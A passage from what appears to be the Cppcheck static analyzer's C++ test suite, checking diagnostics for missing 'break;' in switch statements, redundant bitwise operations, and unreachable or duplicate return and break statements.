strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int 